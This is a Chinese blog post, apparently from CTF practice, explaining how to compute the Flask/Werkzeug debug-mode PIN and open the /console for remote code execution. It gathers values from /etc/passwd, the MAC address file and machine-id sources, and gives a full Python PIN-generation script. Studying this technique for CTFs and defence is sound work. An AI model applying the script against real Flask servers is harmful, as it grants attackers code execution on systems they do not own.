flask计算PIN码
做题做的头昏脑涨,过来写篇博客缓一缓。
在做题过程中了解到flask在debug模式下,可以通过计算PIN码进入控制台实现RCE。
基本要素
计算PIN码一共需要六个部分:
- 
username:在/etc/passwd可以查看,一般情况下可以直接计算root的PIN值,只能直接算普通
 用户的就需要再提权了;
- 
modname:默认值为flask.app;
- 
appname:默认值为Flask;
- 
moddir:app.py的绝对路径,通过报错可以得到;
- 
uuidnode:mac地址的十进制,mac地址可以在/sys/class/net/eth0/address中得到;
- 
machine-id:相对复杂的一个,不同的操作系统有不同的计算方法,下面具体说。
machine-id
- Linux:源码如下,具体过程就是先找/etc/machine-id,如果有就去找/proc/self/cgroup进行拼接,如果没有就用/proc/sys/kernel/random/boot_id和/proc/self/cgroup进行拼接(下面的脚本很清晰)。

machine_id = '6ee8d0b5126041a1b3ddfefb9ea61b4e'
boot_id = '70d3d850-a8d2-4ff1-a285-34c4a401e57d'
c_group = '0::/'
id = ''
if machine_id:
    id += machine_id.strip()
else:
    id += boot_id.strip()
id += c_group.strip().rpartition('/')[2]
- MacOS:基本见不到,看看源码知道就行

- Windows:SOFTWARE\\Microsoft\\Cryptography内容
计算PIN码
成功获取上面的六个要素后,直接放入脚本即可获取PIN码。该脚本内容为源码,基本无需改动,唯一的需要注意的是在Python3.8之前使用md5、之后使用sha1。
import hashlib
from itertools import chain
def mac_10():
    """
    /sys/class/net/eth0/address mac地址十进制
    :return:
    """
    mac_address = "02:42:c0:a8:10:02"
    # 将MAC地址视为一个十六进制数(去掉冒号)
    value = int(mac_address.replace(":", ""), 16)
    return str(value)
probably_public_bits = [
    'app'  # username
    'flask.app',  # modname
    'Flask',  # appname
    '/usr/local/lib/python3.9/site-packages/flask/app.py'  # moddir
]
machine_id = '6ee8d0b5126041a1b3ddfefb9ea61b4e'
boot_id = '70d3d850-a8d2-4ff1-a285-34c4a401e57d'
c_group = '0::/'
id = ''
if machine_id:
    id += machine_id.strip()
else:
    id += boot_id.strip()
id += c_group.strip().rpartition('/')[2]
private_bits = [
    mac_10(),  # mac地址
    id  #machin-id
]
h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
    if not bit:
        continue
    if isinstance(bit, str):
        bit = bit.encode("utf-8")
    h.update(bit)
h.update(b"cookiesalt")
cookie_name = f"__wzd{h.hexdigest()[:20]}"
# If we need to generate a pin we salt it a bit more so that we don't
# end up with the same value and generate out 9 digits
num = None
if num is None:
    h.update(b"pinsalt")
    num = f"{int(h.hexdigest(), 16):09d}"[:9]
# Format the pincode in groups of digits for easier remembering if
# we don't have a result yet.
rv = None
if rv is None:
    for group_size in 5, 4, 3:
        if len(num) % group_size == 0:
            rv = "-".join(
                num[x: x + group_size].rjust(group_size, "0")
                for x in range(0, len(num), group_size)
            )
            break
    else:
        rv = num
print(rv)
得到PIN码后,进入<ip>/console,输入PIN码即可进入操作台。

 
                
             
         浙公网安备 33010602011771号
浙公网安备 33010602011771号